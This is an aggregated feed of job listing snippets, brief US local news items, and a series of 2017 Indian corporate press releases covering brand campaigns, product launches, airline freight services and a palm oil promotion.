EEG Technician        
NY-Clifton Park, EEG Technician The Child Neurology Group – Per Diem We are seeking an EEG Technician for our growing Child Neurology office in Clifton Park. The EEG Technician will be able to perform routine, ambulatory and long-term video EEGs in an office setting. The EEG tech determines and accommodates patient’s age-based care needs, and provides appropriate age-based patient/family education related to the p
          Administrative Assistant - Investments        
CA-Mountain View, JOB SUMMARY Reporting to the Senior Vice President of Investments, the Administrative Assistant supports a small and highly collaborative team that oversees and administers $8 billion of charitable capital. The Assistant is responsible for day-to-day administration of department workflow across numerous investment relationships, and serves as primary liaison between the foundation’s controller, co
          Hospice Registered Nurse        
MultiLocation, At Community Health Network, we attract experienced Home Care and Home Hospice RN's who love their work, but want more options in their work life. Community Health Network can fit your career into your life by providing you with the choices of when and where to work and the flexibiity to change that with life's demands. We are a nursing Staffing Agency specializing in Hospice and Home Care for ove
          RN - HOME HOSPICE        
PA-YORK, RN Home Hospice - FT, Day Shift Home Hospice, Night on Call (5pm- 8am), 7 days on/off We offer: Competitive Wages, 6 wks paid time off after 1st year, 401(k) with 100% match, variety of insurance options Apply: hospicecommunity.org EOE 224 St Charles Way, Suite 200, York PA 17402
          FINANCIAL OFFICER        
PA-Philadelphia, The Federal Community Defender Office Eastern District of Pennsylvania is seeking to fill the newly created position of Financial Officer. The person appointed to fill this position will be responsible for all aspects of financial management and analysis, accounting systems and controls, budget development, projections, and day-to-day financial operations. The Financial Officer will oversee human
          Dining Room Manager        
PA-Youngwood, Westmoreland County Community College School of Culinary Arts/Hospitality is seeking a casual part-time Dining Room Manager (up to 10 hrs./wk.). The dining room manager is responsible for the direction of students in the service procedures in the dining room of the student run restaurant Café at 145. The position requires: Associate degree in related field Experience and knowledge in dining room s
          Associate - Legal        
MA-Boston, Overview: Are you passionate about criminal justice reform? Are you interested in working in a fast-paced environment with a tenacious group of big-thinking, results-focused, talented colleagues? Are you looking for a job where you can have real, system-level impact? The Crime and Justice Institute (CJI) at Community Resources for Justice (CRJ) is seeking a high-performing individual with strong p
          Comment on Chronicle of a Mountain Permaculture Community Garden by Margarita        
excellent, nice work, if the government is not going to take initiative then it is in our hands to secure our future!
          Responsable Intégration Vérification et Validation Plateforme d'essais produit - H/F - Thales - Gennevilliers/CRISTAL        
Dans le cadre de notre développement, nous recherchons un(e) : Responsable Intégration Vérification et Validation sur Produit Radio (IVVQM) - H/F Basé(e) à Gennevilliers (92) Au sein du secteur DIR (Direction Ingénierie Radio) et plus précisément du service NGP (Next Generation Product), vous intégrez le service en charge de l'ingénierie, du développement et de l'industrialisation des produits radio pour le programme CONTACT (postes véhicule, portatifs et aéronautiques) et les produits...
          Two arrests made in deadly Newton Walmart hit-and-run         
NEWTON COUNTY, Ga. — Police have arrested two suspects accused of running over and killing a woman in a Covington WalMart parking lot.Authorities confirmed the arrests of Brandon Smith, 27, of West Virginia, and Stephanie Rodriguez, 37, of New Mexico, to 11Alive’s Blayne Alexander early Sunday morning. The suspects were taken into custody Saturday afternoon in […]
          News photographer’s tripod mistaken for gun prompts 911 call        
LANCASTER, Pa. (AP) — Police were called to a central Pennsylvania office building after someone mistakenly thought a photographer’s tripod was a gun.LNP (http://bit.ly/1lwvwVu ) reports the incident happened about 11 a.m. Wednesday at the Griest Building in Lancaster.The caller thought a machine gun was carried into the building, so police conducted a floor-by-floor search […]
          SCCPSS investigating teacher-student altercation at Rice Creek school        
SAVANNAH, Ga. (OS) — Several viral videos have surfaced recently of students getting into violent altercations with teachers and resource officers. And now, it has happened in a Chatham County school. Savannah-Chatham Public Schools say campus police and school officials are investigating an incident involving a student and a teacher at the Rice Creek School in Port Wentworth Wednesday […]
          Bond set for Chatham County jail officer arrested in drug-smuggling scheme        
SAVANNAH, Ga. (OS) — Bond was set Wednesday at $4,950 for Deputy Corrections Officer Naji Cooley on a charge he used a communication device to facilitate a criminal act at the Chatham County jail where he was employed.Chatham County Recorder’s Court Judge Harris Odell Jr. scheduled a Dec. 16 preliminary hearing for Cooley, 21.The Chatham County […]
          Beaufort County computer recycle events set        
BEAUFORT, S.C (OS) — The next Beaufort County Public Works Department Solid Waste and Recycling Office free electronics recycling events for county residents will be held from 9 a.m. to 3 p.m. at the following locations on Dec. 5: Beaufort County Public Works, 9 Benton Field Road, Bluffton Beaufort County Public Works, 140 Shanklin Road, […]
          BPCL awards its prestigious microsites design & implementation contract to Octaware Technologies        
by Shrutee K/DNS

Mumbai, August 10, 2017: Octaware Technologies Limited (BSE – 540416), a leading software and business solutions development company, is pleased to announce that they have been awarded the prestigious contract from BPCL for the design and implementation of their loyalty and brand microsites. Octaware was one of the bidders and was awarded the contract, post evaluation and presentation of efficient solutions and capabilities to the evaluation committee.

The scope of work under the contract includes design and implementation of microsites for BPCL’s loyalty programs – SmartFleet & PetroBonus and other brands - Speed and In & Out. The engagement includes a period of 3 months for implementation of microsites and an additional three years of support and maintenance. Octaware Technology Limited’s expertise in the areas of online portals & enterprise systems helped them win the contract.

Commenting on the development, Mr. Aslam Khan, Chief Executive Officer, Octaware Technologies Limited, said, “We are extremely delighted to have won the prestigious contract from BPCL, our first major win in the Indian PSU sector, post our IPO in April 2017. The fact that it falls under one of Octaware’s key focus verticals of governance, demonstrates our consistent and steady inroads in the Indian market, surpassing some of the strong players in the region. We look forward to a long-term business association with BPCL”.

About Octaware Technologies Limited:
Incorporated in 2005, Octaware Technologies Ltd is a software development company providing a range of information technology solutions. The company designs, develops, and maintains software systems and solutions. Company's services include custom software development, ECM/portal solution, ERP and CRM implementation, mobile platform solution, RFID solution, cloud and IT infrastructure services, consulting services and geospatial services.
Octaware provides specialized software application and product development services and solutions in the areas of healthcare, finance, and e-government industry. The company has proprietary products for domestic, as well as international markets, such as PowerERM – Human Capital Relationship Management, Hospice – Healthcare and Citizen Services solution, and iOnAsset – Inventory management and tracking System etc. These products are available as packaged products as well as software-as-a-service model integrated with legacy system.
Octaware Technologies Limited (BSE – 540416), got listed on the BSE –SME platform on April 3, 2017 and was oversubscribed by 148%, providing testimony to the faith, the investors have reposed in the company.

          Badshah Masala launched their new ad campaign #HumareYahan        


by Shrutee K/DNS
National: Badshah Masala, this Independence Day, has launched their new ad campaign #HumareYahan, aiming to decrease this divide and pushes notice to how similar these two sister countries are. Badshah Masala believes that despite all the differences we may have, food transcends all boundaries and brings people from different places together. 
In this video, Manno is a traditional Indian mom whose daughter, Dimple, has just returned from US after finishing her studies. Dimple, whilst showing Manno pictures from her time in US, also shows her a picture with her Pakistani friend, Saad. Manno immediately points to Saad being a Pakistani, but is shunned by her young and liberal daughter.  
Dimple then mentions that she wants to meet Saad, an idea which Manno isn't too fond of. After much deliberation, Manno asks Dimple to invite Saad over for dinner so that she can keep an eye on him. Once Saad comes over for dinner, he amazes Manno with what he does.
This video is a testimony to how much the younger generation can influence their parents in breaking stereotypes that have prevailed in modern India. The campaign also communicates a broader message that gets us thinking as to how Indians perceive foreign nationals. It stresses on the importance of respect for an individual regardless of his or her racial background and nationality, and the importance of not judging a person based on our own preconceived notions and existing stereotypes.
Kailash Jhaveri, Managing Partner of Jhaveri Industries, said,”As we are inching closer to a 70th Independence Day, there is no better time to contemplate the ties between these two countries. We are trying our best to close this divide by starting a conversation over something that no one would decline - Swaad.” 
Hemant Jhaveri, Managing Partner of Jhaveri Industries, adds, “Badshah Masala has always been involved in forming connections through food. From the very beginning of this company, we have looked at food as something that can bring people from everywhere together. We are glad that we are taking this opportunity to provide another outlook to the current scenario that our country is facing.” 
Anushree Pacheriwal, Creative Head of Gemius, said, “It has been an incredible experience working for this campaign. From the very start, we were certain that this message needed to be out there, and that shaped the direction that this campaign took.”
The campaign is by Badshah Masala conceptualised by agency Gemius and creative head Anushree Pacheriwal, Story, Saurabh Pacheriwal. The production house is 50mm Media Productions and Director & DOP is Saurabh Desai and Ankit Mavchi. Gemius is co founded by Saurabh Pacheriwal, a marketing professional and Anushree Pacheriwal, a creative professional. Its clientele includes Badshah Masala, World Economic Forum, Just In Time, Baggit, TEDx events amongst others.
·       Campaign Link:  https://youtu.be/2LFIuXf1Gqo
Credits:
Client: Badshah Masala
Managing Partners: Kailash Jhaveri, Hemant Jhaveri
Agency: Gemius
Managing Director: Saurabh Pacheriwal
Creative Head: Anushree Pacheriwal
Account Management Team: Tanvi Khandelwal, Abhishek Doshi, Varsha Tanna
Story: Saurabh Pacheriwal
Production House: 50mm Media Productions
Director & DOP: Saurabh Desai & Ankit Mavchi
Production Team: Fenil Patel, Siddhant Shah, Nehal Trivedi, Jigar M, Setu U


          Hospitals and local physicians are noticing a spike in the no of respiratory cases in the city        
by Shrutee K/DNS

Mumbai, August 10th, 2017: The rains have arrived and so is the number of diseases along with it. People are aware of the most common ailments such as viral fever, the common cold, malaria, typhoid, diarrhoea, etc. But very few are aware of the respiratory ailments that stems from indoor air pollution in monsoon caused by the dampness in the walls, fungus from air conditioners, floor carpets, velvet upholsteries, sofa covers, wooden furniture harboring fungus, etc. The Hospitals and local physicians in the city have noticed a spike in the no. of cases with respiratory problems. Suspended Particulate Matter is the main trigger of damage in air Pollution. Other contents like SO2, ammonia, carbon, polyaromatic hydrocarbons add to the toxicity. Air pollutants which are less than 10 microns in size enter the smaller airways and causes damage. This may trigger cough, breathing difficulty, choking, chest tightness and Asthma.

Taking adequate precautions are one of the best ways to avoid monsoon-related ailments. All age groups are affected because of air pollution; however, there is a definite rise in asthma and lung infections among children. Also, elderly and diabetics are at a risk of lung infection because of air pollution. Avoiding floor carpets, velvet upholsteries, stuffed toys, burning incense sticks at home and regular cleaning of air conditioner filters are some of the precautions that can be taken to avoid indoor air pollution during the monsoon.

Mr. Girish Bapat, Blueair air purifier, Director West and South Asia Region further added, “Our mission at Blueair is to help Indian women, children and men confront the health challenges posed by rising air pollution. It is very essential to identify the Invisible dangers. Breathing in tiny, unseen pollutants put every individual at risk. These pollutants further pass through the lung tissue and puts you at risk of stroke, heart disease and developing Asthma, Allergy, Bronchitis, Infection and other respiratory problems. Getting acquainted of personal health records, heart rate and blood sugar level, is the best way to safeguard long-term health issues by classifying troublesome concerns at the earliest.”

Blueair’s air purifiers are innovated in Sweden to put people in control of their own air quality with superior filtration efficiency. Sold in over 60 countries around the world, Blueair delivers home and office users cleaner indoor air for enhanced user health and wellbeing faster than any competing air purifier thanks to its commitment to quality, energy efficiency and environmental care. A Blueair air purifier works efficiently and silently to remove airborne allergens, asthma triggers, viruses, bacteria and other pollutants.

          Feast after fasting this Janmashtami at Taj Wellington Mews Mumbai         

by Shrutee K/DNS 
Mumbai: This Janmashtami welcome the birth of Lord Krishna with a burst of flavour and fervour! Get together with family and friends and feel the festive cheer with a range of delicious treats perfect for breaking your fast. The light and crispy Sabudana Vada, the soft Rajgiri Puri, traditional Vari Rice, refreshing Thandai, Vrat Waale Aloo will satisfy after a day’s fast, before a sweet and creamy Badam Kheer and fresh fruit. Come and taste the ‘food of the Gods’/ ‘divine offerings’ at Weli Deli, Taj Wellington Mews!

Offer valid:
Date: 14thAugust 2017
Day: Monday
Timing: 12 PM to 10: 45 PM
Venue: Weli Deli, Taj Wellington Mews, Mumbai 
Contact Number: 022 66574331
About Taj Hotels Palaces Resorts Safaris
Established in 1903, Taj Hotels Palaces Resorts Safaris is one of Asia's largest and finest group of hotels, comprising 98 hotels in 61 locations across the globe, including presence in India, North America, United Kingdom, Africa, Middle East, Malaysia, Sri Lanka, Maldives, Bhutan and Nepal. From world-renowned landmarks to modern business hotels, idyllic beach resorts to authentic Grand Palaces, each Taj hotel offers an unrivalled fusion of warm Indian hospitality, world-class service and modern luxury.  For over a century, The Taj Mahal Palace, Mumbai, the iconic flagship has set a benchmark for fine living with exquisite refinement, inventiveness and warmth. Taj Hotels Palaces Resorts Safaris is part of the Tata Group, India’s premier business house. For more information, please visit www.tajhotels.com.



          Ziox Mobiles announces Sushant Singh Rajput as its Brand Ambassador along with Rs. 300cr investment for FY17 - 18        
Launches its newest Mobile phone ‘Ziox Duopix’
        Forays into LED TV and Consumer Durables Segment
        Plans to open 2 new manufacturing units and R&D facilities with investment of Rs. 200cr.
        Plans a 360-degree marketing campaign with a budget of
Rs. 100 Cr.
by Shrutee K/DNS
In the light of its vigorous expansion, Ziox Mobiles under the aegis of Sun Air voice Pvt Ltd, one of the fastest growing Mobile handsets brand, ropes in the very versatile, Sushant Singh Rajput, as its Brand endorser who truly lives up to the brand name.  While Ziox mobiles is a preferred brand across the country through its outstanding innovation and quality, the other has won the hearts of a million Indians as he slips into any role with nonchalance. Both the brand and its ambassador ride on the precepts of resilience, hard work and steady growth. A rare blend of energy, perseverance, and popularity coupled with his ability to connect to people, Sushant Singh Rajput is a fine addition to the Ziox Mobiles family. This association will further boost the legacy of Ziox Mobiles as the actor resonates to the brand promise: Quality that Speaks.
Answering strong demand and an overwhelming response from the Indian market, Ziox Mobiles also chalked out a detailed expansion plan and the roadmap for FY 2017-2018.The Brand aims to establish a stronger foothold in the Indian Market, with the total investment of over Rs. 200crore which shall span for a year, the Brand announced its plan to set up 2 new manufacturing units (in Sikkim and Noida) and R&D facilities apart from the existing New Delhi unit, with a holding capacity of around 1 Million units per Month. With the induction of Sushant Singh Rajput as its brand endorser along with the total investment of Rs. 100 Cr. this FY 2017-2018, Ziox aims to achieve an estimated revenue of Rs. 1,000 Cr and a sale of 10 million product units.
Commenting on this association and a promising future, Mr. Deepak Kabu, CEO Ziox Mobiles said “The future looks bright, Ziox Mobiles has a range of phones in the pipeline with exciting new launches. We are enthralled to present Sushant Singh Rajput as the new face of Ziox Mobiles. With Sushant Singh Rajput on board, it will help augment sales and further its reach in the market. The partnership with him is timed with Ziox Mobiles’ next phase of expansion on a pan-India level” Mr. Kabu further adds, “Sushant embodies talent, youthfulness and style. More importantly, he blends well with the core values of hard work, reliability, and is the epitome of our brand philosophy. Today our target audience is the young, driven, forward-moving generation, who have ever changing needs. Sushant understands the pulse of this audience well and has a great rapport with them. That is why, with immense preparation, he goes on to entertain his fans with one performance after another just as Ziox Mobiles constantly strives to understand the changing needs of its customers.”
Speaking on the association, Sushant Singh Rajput said, "I have always known Ziox Mobiles to be an inspirational brand in terms of their persuasion to becomes India’s biggest mobile brand. I am happy to be associated with a brand which is very young, and has a journey that is very similar to mine. I love how this brand designs its products to suit every need of its customers and are constantly innovating themselves as I see myself doing that while working on a role. I look forward to being part of the Ziox Mobiles family and to contribute to its fascinating growth journey in India." The ever-evolving brand has slated a major strategic transformation that entails the signing of a new brand endorser, an aggressive expansion and launches of it new products. The Brand at the event also announced the launch of its newest smartphone Series ‘Duopix”, Phone Series with Dual Cameras. Designed to fulfil the brand promise of providing users with superior camera performance and quality, ‘Duopix’ comes equipped with wide angle Dual front camera (8.0MP + 2.0) front +8.0MP Rear. The latest Dual 4G model runs on Android 7.0, with 5inch HD IPS Display along with 2GB RAM + 16GB ROM all packed in 2500mAh battery. Some of the key features includes strong battery life & also the fast charging capability. The budget friendly Smartphone comes equipped with various other features like 21 language support with multilingual phonebook, MP3 player, FM Radio, Bluetooth connectivity to help you stay connected. The phone will be available across all retail stores in few week’s time. Along with the smartphones, the brand also announces its foray into LED TVS and Consumer Durables category.

About Ziox Mobile: Ziox Mobiles, part of Sun Airvoice Pvt. Ltd., incepted in the Year 2015, with a singular motto to break the boundaries while offering technologically superior products without compromising on quality. Headquartered in New Delhi, Ziox Mobiles has built up an impressive product portfolio of more than 40 distinguished products and constantly innovating to make superior products.
Empowering consumers with affordable technology through quality products- the brand has truly demonstrated quick and robust expansion since inception, showing profitability and growing sales since the first year of operations. Being considered as one of the most innovative and fastest growing brands in the Mobile category, the brand has established its presence across India through its wide network comprising of its various branch offices and system integrators across several states in India.

          Sugar Free launches a web series ‘The Sweet Breakup’ a first of its kind in the food space        


by Shrutee K/DNS


Mumbai, August 2017: Sugar Free, a name synonymous with sugar substitute, is the single largest leader in India in the category. The brand always thrives on innovation as key for its growth and has introduced many variants in the category for the sweet binging yet calorie conscious Indians. As an extension to its innovation drive, the brand has unveiled a new campaign ‘The Sweet Breakup’, a one-of-a-kind 5-part web-series in the food category. The series is conceptualized and executed by Maxus Content, the content solutions arm of Maxus.
Talking about the campaign Tarun Arora, Chief Operating Officer & Director, Zydus Wellness said, “Our vision for “Sugar Free” is to make it the brand of choice for consumers seeking low / no calorie options to lead a healthier life style. Hence to address the myths attached with the usage of Sugar Free as part of one’s daily culinary needs made us conceptualize ‘The Sweet Break Up’.  This web series demonstrates in an authentic way that you can indulge into your favourite dessert guilt-free without compromising on the taste. The 5- city trail as part of the campaign only reaffirmed that any sweet recreated with Sugar Free tastes the same when made with sugar. I believe this was the first time a dessert truck was going around India and hence there was a lot of excitement amongst people wanting to know what’s cooking !”
Pooja Verma, Head - Content, Entertainment and Sports Partnerships at Maxus said, “Maxus believes that changing traditional behaviour among consumers with content, needs a compelling strategy which is driven by insights and fused with creative thought. Showcasing Sugar Free as more than just a sugar substitute via ‘The Sweet Break-Up’ campaign is a prime example of our focus. Sweets have a strong relationship with celebrations in our country. With that insight in mind, we brought our campaign together on the message that enjoying sweets while breaking up with unhealthy calories is a win-win outcome for every foodie. The creative vehicle to deliver that message is our one-of-a-kind series where Chef Kunal Kapur joins famous foodie-duo Rocky & Mayur, in recreating delicious Indian sweets with Sugar Free. Through this content solution, the brand stands to generate extensive and meaningful conversations with viewers who love their sweets.”

This campaign marks the culinary journey of Sugar Free across 5 cities Delhi, Lucknow, Kolkata, Bengaluru and Mumbai, where celebrity chef Kunal Kapur reconstructed 5 different speciality desserts by using Sugar Free products. The brand also had on board the famous foodie duo Rocky and Mayur whose fun banter added to the entertainment element in the web-series. The journey started from Delhi where the chef created the famous Tewari Brother’s Gulaab Jamun followed by Lucknow where Ram Asrey’s famous Malai ki Gilori was made. The truck then headed East to Kolkata where he recreated Balaram Mullick’s Sandesh and then southward to Bangalore where he made a fusion dessert using G Pulla Reddy’s Dharwad Peda and created Dharwad Peda Tiramisu. The final leg of the web series was shot in Mumbai where Chef Kapur added a spin to made Ladu Samrat’s modak and created delicious chocolate modaks. All of these were created using Sugar Free. While the brand has a strong linkage with table top consumptionand pellets as a format, the culinary consumption for powder formats is a gap that needs to be bridged. ‘The Sweet Breakup’ campaign is that step forward by Sugar Free to make consumers aware of the format, its usage and the fact that the taste of the dessert stays as good. What more? One can indulge in sweets now without having to feel guilty.
The Sweet Breakup will be unveiled on-air on youtube.com 18thAugust
About Zydus Wellness Limited: Zydus Wellness Limited is the Consumer products company from the Zydus Group. Zydus group is a pharma major with flagship organization, Cadila Healthcare Limited, a leading pharmaceutical company with significant global presence apart from India. Zydus Wellness has been a pioneer in various categories it operates in. The company focuses on emerging segments and has its DNA of innovations with “Do good benefits” at the core of its business. Zydus Wellness commands leadership in the sugar substitute market, table spreads and the skin care segments. In the sugar substitute market, Sugar Free is a market leader with a market share of 94% and targets health and fitness seekers apart from diabetics.
Nutralite is a market leader in the Fat Spread category and appeals to consumers looking for healthier alternatives to normal butter. It is cholesterol free, does not contain any hydrogenated fats and is also trans-fat free. Everyuth is a pioneer in facial cleansing space in India. It enjoys leadership in the scrub and Peel off Mask segments and is amongst the top players in the overall facial cleansing category with strong “Naturals” equity Zydus Wellness Limited is listed on NSE and BSE and has manufacturing locations in Gujarat and Sikkim.
About Maxus:  Maxus is a marketing communications consultancy that helps marketers build profitable relationships between consumers and their brands. They combine the disciplines of communications planning and customer relationship marketing to deliver Relationship Media, a next generation model powered by creative media thinking and sophisticated, real-time customer data.

Their services include communications strategy, digital marketing, direct response media, social media, data analytics, media investment management, content & sports marketing, marketing ROI evaluation and CRM. Having a talent team of 2,500 people across 55 markets, they are part of GroupM, the world’s largest media investment management group that serves as the parent company for all of WPP’s media agencies.

          Indian girl’s finish 4th in Asian Rugby 7s        

by Shrutee K/DNS
Mumbai, August 7: The Indian Girls’ Under-20 rugby team performed creditably well to clinch the fourth position at the Asia Rugby U-20 Girls Sevens Series which was held at the Kings Park Stadium, Hong Kong, China on August 4 & 5, 2017. The team participated under the aegis of the Indian Rugby Football Union (IRFU), the governing body for the sport of Rugby in India and was supported by Societe Generale, the financial partner of Rugby India. The tournament was played on a round-robin league basis.
Playing against heavyweights, the Indian girl’s put up some impressive performances winning three of the six matches and finished among the top 4 from out of the 7 participating countries, namely China, Thailand, Singapore, Malaysia, Uzbekistan, India and hosts Hong Kong. The formidable and more experienced Chinese girls were crowned champions.
The Rugby India Girls played well but came up short against some stiff competition on the first day. They lost the opening match against Thailand (0-36) but won the second defeating Malaysia (10-0). The Indian girls suffered two more defeats, losing to China (0-32) and Hong Kong 0-39).
After a tough start to the tournament, the girls turned things around on the second day, registering two successive victories. Both matches went down to the wire but the girls handled the pressure well. First the Indian girls overcame Singapore 10-5 and later beat Uzbekistan 22-15.
We are extremely proud of the team’s performance at this tournament. It just goes to show that the future of women’s rugby in India is in safe hands.
The India team: RuchiShetty – Captain (Maharashtra), GargeeWalekar (Maharashtra), NeelamPatil (Maharashtra), RiaBisht (Delhi), Rajani Sabar (Odisha), BasantiPangi (Odisha), Manjulata Pradhan (Odisha), KabitaKasturi (Odisha), Chanda Oraon (West Bengal), Swapna Oraon (West Bengal), Suman Oraon (West Bengal), Punam Oraon (West Bengal).
The final Rankings: 1. China, 2. Thailand, 3. Hong Kong, 4. India, 5. Singapore, 6. Malaysia, 7. Uzbekistan
Performance of the Indian U20 Girls Rugby Team
Day One –4th August, 2017
Day Two- 5th August, 2017
Team
Score
vs
Score
Team

Score
vs
Score

Rugby India
0
vs
36
Thailand
Rugby India
10
vs
5
Singapore
Rugby India
10
vs
0
Malaysia
Rugby India
22
vs
15
Uzbekistan
Rugby India
0
vs
32
China

Rugby India
0
vs
39
Hong Kong

About Rugby India : Rugby India, founded in 1998, is the sole governing body for the sport of Rugby in India. Recognized by the Ministry of Youth Affairs & Sport, Govt. of India, Rugby India is a full member of World Rugby, Asia Rugby and the Indian Olympic Association (IOA). The body is responsible for the growth & development of the sport of Rugby across the country from the grassroots to the high performance level.
IRFU is the sole governing body of all formats of the sport of Rugby in India for all genders and ages. The formats included are as follows: Rugby Union, Fifteen-a-Side Rugby, Seven-a-Side Rugby, 10-a-Side Rugby, 12-a-Side Rugby, Touch Rugby, Non-Contact Rugby - Tag Rugby, Flag Rugby, Beach Rugby, Snow Rugby, Wheelchair Rugby, Underwater Rugby.
Rugby has been included in the School Games Federation of India (SGFI) for all age-groups (U14, U17 & U19 boys & girls) and the National University Games for both Men & Women, under the aegis of the Associationof Indian Universities (AIU), The sport is also a part of the Services Sports Control Board (SSCB) and played by the Paramilitary & Police Forces.
Rugby in India has a rich history and heritage and dates back to 1872. However, only over the last decade has the sport seen a major rise in following and Rugby India has been instrumental in garnering this interest across the country. There has been a significant growth and increase in participation numbers and currently, within India, over 120 Rugby Clubs are affiliated to our State and Districts Associations with competitive Rugby, for both Men & Women, being actively played across 24 States in India.


          Lufthansa Cargo Emphasizes Long-Standing Connections with Indian Airfreight Market        
Freighter services to Mumbai increased
Lufthansa Cargo emphasizes long-standing connections with Indian airfreight market
by Shrutee K/DNS
The Frankfurt-based air freight carrier Lufthansa Cargo has increased its freighter services to Mumbai. Since July, the airline operates four instead of three freighter flights to the Indian megacity. “This change sees us strengthening our position in the regional airfreight market”, says Frank Naeve, Lufthansa Cargo Vice President Asia-Pacific.
Lufthansa’s cargo arm also serves the Indian metropoles Bangalore, Chennai and Hyderabad, each with two freighter services a week. Additionally, the cargo capacity of 42 weekly passenger flights between various Indian cities and the hubs in Frankfurt, Munich and Vienna is offered by the German logistic company.

“We are proud to have had long-standing connections with customers in the Indian air cargo industry since 1959. Our aim is to build on this in the future”, says Peter Gerber, Lufthansa Cargo CEO and chairman of the board. Two years ago, the Lufthansa Cargo emphasized this by renaming its McDonnell-Douglas MD-11 freighter with registration D-ALCJ “Namaste India”.
About Lufthansa Cargo AG : Lufthansa Cargo ranks among the world’s leading air freight carriers. In the 2016 business year, the airline transported around 1.6 million tonnes of freight and mail and sold 8.4 billion revenue tonne-kilometres. The company currently employs about 4,500 people worldwide. Lufthansa Cargo focuses on the airport-to-airport business. The cargo carrier serves around 300 destinations in more than 100 countries with its own fleet of freighters, the belly capacities of passenger aircraft operated by Lufthansa, Austrian Airlines and Eurowings, and an extensive road feeder service network. The bulk of the cargo business is routed through Frankfurt Airport. Lufthansa Cargo is a wholly owned Lufthansa subsidiary of Deutsche Lufthansa AG.


          Malaysian Palm Oil Council (MPOC) partners with Mumbai Dabbawala Association (MDA)        

Malaysian Palm Oil Council (MPOC) partners with Mumbai Dabbawala Association (MDA)

~A culturally enriching and riveting morning hosted by Malaysian Palm Oil Council with the Dabbawalas of Mumbai~

by Shrutee K/DNS

Mumbai, August 8, 2017 : In April 2017 in conjunction with the visit to India of the Hon. Prime Minister of Malaysia, Dato Sri’ Haji Mohammad Najib bin Tun Haji Abdul Razak, Malaysian Palm Oil Council (MPOC) signed a MoU with Mumbai Dabbawala Association (MDA). Taking this MoU forward, on the morning of August 8th, MPOC and Mumbai Dabbawalas flagged off an event to create awareness for Malaysian Palm Oil and its benefits.

The event took place at the Lower Parel Bridge, where Dabbawalas wore the T-shirts and topis branded with MPOC message. They then delivered the dabbas carrying a booklet of recipes of dishes that can be cooked in palm oil and the benefits of using palm oil. The Dabbawalas are in a unique position to promote MPOC and raise awareness to the positive nutritional attributes of Malaysian Palm Oil. This becomes particularly useful in Indian cuisine as most dishes are cooked in oil. Substituting for a healthier oil can do no harm, besides besides providing the added bonus of eating delicious food cooked in a healthy oil that is nutritious for the body.

To kick off this event, Dr. Kalyana Sundaram, CEO of MPOC, was present, encouraging the use of palm oil and showing appreciation to our Dabbawalas for their exceptional work. The morning was most enjoyable, entertaining and culturally riveting as some of Maharashtra’s best dancers performed the traditional Lezim Dance, a true delight to have watched! For those unaware of the Lezim Dance, it is a Maharashtrian folk dance performed to the beat of the Dholki, a percussion instrument.

Speaking at the occasion, Dr. Kalyan Sundaram, CEO, MPOC, said, “It gives me immense pleasure to be here this morning. Dabbawalas have been an integral part of this city and they define what Indians stand for: hardworking, responsible and efficient. They work relentlessly with a smile on their face, be it rain or storm. Malaysian Palm Oil has been a very important part of the Indian diet and with this unique initiative we wish to create awareness for this wonderful oil and its several health benefits. Our association with the Mumbai Dabbawalas allows us to spread the message of healthy cooking to a large number of households and encourages a healthier cooking lifestyle”


Mr. Subhash Talekar, Association Spokesperson of Mumbai Dabbawala Association said “We Dabbawalas unfailingly deliver thousands of dabbas to hungry people daily, they are undoubtedly the best people to directly reach out to households and create awareness about palm oil and the health benefits of using it. This is a very exciting new chapter, and we are glad to be partnering with MPOC.”

India is the world’s largest importer of cooking oils. Palm oil constitutes about two-thirds of India’s steadily increasing vegetable oil import. The price, in comparison to competing oils and the proximity of origin, Malaysia, has made Malayisan Palm Oil a highly preferred oil. Now the Dabawallas have taken it upon themselves, with the help of MPOC, to inform families about the benefits of palm oil and how exquisite food can be cooked in palm oil in alternative to other vegetable oils.

Amongst some of the benefits we came to learn about during the event was that palm oil is rich in natural chemical compounds essential for health and nutrition. It has a rich source of carotenoids that are rich in Vitamin A, a potent natural antioxidant, Vitamins D, E, K, fatty acids, and other important fat-soluble micronutrients that boost the human immune system. The health benefits from using palm oil are tremendous - it reduces chances of Cancer, protects against heart diseases, type 2 diabetes, and helps children with Vitamin A deficiency.

The oil is great for cooking; it is of vegetable origin, making it free of cholesterol and apt for vegetarians, vegans, and Jains. Furthermore, the oil has a neutral flavor - you needn’t worry about changing tastes, it does not oxidize easily – making it perfect for frying food, and produces less gummy materials and helps in the cooking area maintaining a non-greasy surface; so, most bakers prefer to use a palm-based margarine for baking goods.

With people now more conscious about their health and food habits, palm oil is definitely the healthier choice to make whilst cooking and a step towards healthier bodies and practices.  What better way to create awareness than directly reaching out to the households through our Dabbawalas.


Note to Editors:
MPOC is a Council under the Ministry of Plantation Industries and Commodities of Malaysia.  Its role is to promote the market expansion of Malaysian palm oil and its products by enhancing the image of palm oil and creating better acceptance of palm oil through awareness of various technological and economic advantages (techno-economic advantages) and environmental sustainability.

The Council has set up a network of ten offices all over the world, mainly in China (Shanghai), India (Mumbai), Pakistan (Lahore), Bangladesh (Dhaka), Middle East (Istanbul and Cairo), Europe (Brussels and Russia), Africa (Durban) and Americas (Washington DC)  to support, promote and venture into new areas for the industry.
                                                                                                             

The plantation industry, particularly palm oil, is one of the main pillars of the Malaysian economy.  The palm oil sector has contributed significantly towards providing a continuous inflow of export earnings through the export of raw commodity and valued-added products to the global market. In 2016, palm oil contributed USD 9 billion in export earnings for Malaysia and accounted for 33% of the world’s palm oil production and 39% of total palm oil exports.

          Skillsoft and MIT Sloan Management Review Partner To Train Next Generation Business Leaders        

Superior content and Percipio platform help organizations develop the next wave of leaders

 by Shrutee K/DNS

Mumbai August 08, 2017–Skillsoft, the global leader in corporate learning, has partnered with MIT Sloan Management Review (MIT SMR) to curate the journal’s best leadership assets and deliver them to its 40 million users. This key collaboration kicks off a series of new, innovative content partnerships that will empower Skillsoft’s Leadership and Business Skills learners with professional training from the industry’s top experts.

Organizations and their employees can now access this elite catalog of content to enhance professional development, upskill their workforce, and hone individual career paths. Presented through the highly engaging and intuitive Percipio platform, users will be able to access everything from MIT SMR’s general leadership articles, to Frontier articles that focus on the intersection of business management practice with technology, collaborative research reports, as well as webinars and videos. Content will be optimized for all devices and operating systems, and will be accessible via video, audio and written content for varied learner styles and needs.

“Our Leadership content sets us apart from other corporate learning content providers. We provide the most diverse content catalog with an array of learning modalities. More importantly and unique to Skillsoft, we craft thoughtful learning paths and courses for users to follow,” said Bill Donoghue, Executive Chairman of the Skillsoft group. “Our partnership with MIT Sloan Management Review will supplement our own assets and underscore our commitment to building the most respected and up-to-date portfolio of Leadership training available.”

